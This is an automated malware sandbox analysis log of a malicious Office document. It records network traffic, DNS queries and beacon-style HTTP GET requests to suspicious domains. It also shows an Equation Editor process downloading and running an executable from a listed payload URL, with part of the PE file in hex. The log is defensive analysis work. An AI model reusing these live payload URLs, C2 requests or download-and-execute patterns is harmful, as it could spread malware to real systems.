Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 103.189.202.84:80 -> 192.168.2.22:49171
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
Source: global traffic TCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
Source: global traffic TCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
Source: global traffic TCP traffic: 94.176.104.86:80 -> 192.168.2.22:49172
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Source: global traffic TCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.white-hat.uk
Source: global traffic DNS query: name: www.sqlite.org
Source: global traffic DNS query: name: www.gritslab.com
Source: global traffic DNS query: name: www.bitservicesltd.com
Source: global traffic DNS query: name: www.bitservicesltd.com
Source: global traffic DNS query: name: www.222ambking.org
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
Source: global traffic TCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
Source: global traffic TCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 78.141.192.145:80
Source: global traffic TCP traffic: 192.168.2.22:49179 -> 161.97.163.8:80

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\wscript.exe Network Connect: 45.33.6.223 80
Source: C:\Windows\explorer.exe Network Connect: 78.141.192.145 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.white-hat.uk
Source: C:\Windows\explorer.exe Domain query: www.bitservicesltd.com
Source: C:\Windows\explorer.exe Domain query: www.gritslab.com
Source: C:\Windows\explorer.exe Network Connect: 161.97.163.8 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 94.176.104.86 80 Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Domain query: www.sqlite.org
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.white-hat.ukConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.gritslab.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.bitservicesltd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 20 Mar 2023 09:33:35 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Mon, 20 Mar 2023 09:29:00 GMTETag: "493cb-5f7518ea18874"Accept-Ranges: bytesContent-Length: 299979Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1f 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 2a 02 00 00 08 00 00 40 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 c0 03 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 b0 03 00 e8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 03 02 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e8 0c 00 00 00 b0 03 00 00 0e 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess, 2_2_035B0646
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 45.33.6.223 45.33.6.223
Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.189.202.84/889r12/vbc.exe
Source: EQNEDT32.EXE, 00000002.00000002.969457766.000000000068E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.189.202.84/889r12/vbc.exehhC:
Source: EQNEDT32.EXE, 00000002.00000002.969912964.00000000035B0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.189.202.84/889r12/vbc.exej
Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://103.189.202.84/889r12/vbc.exer
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
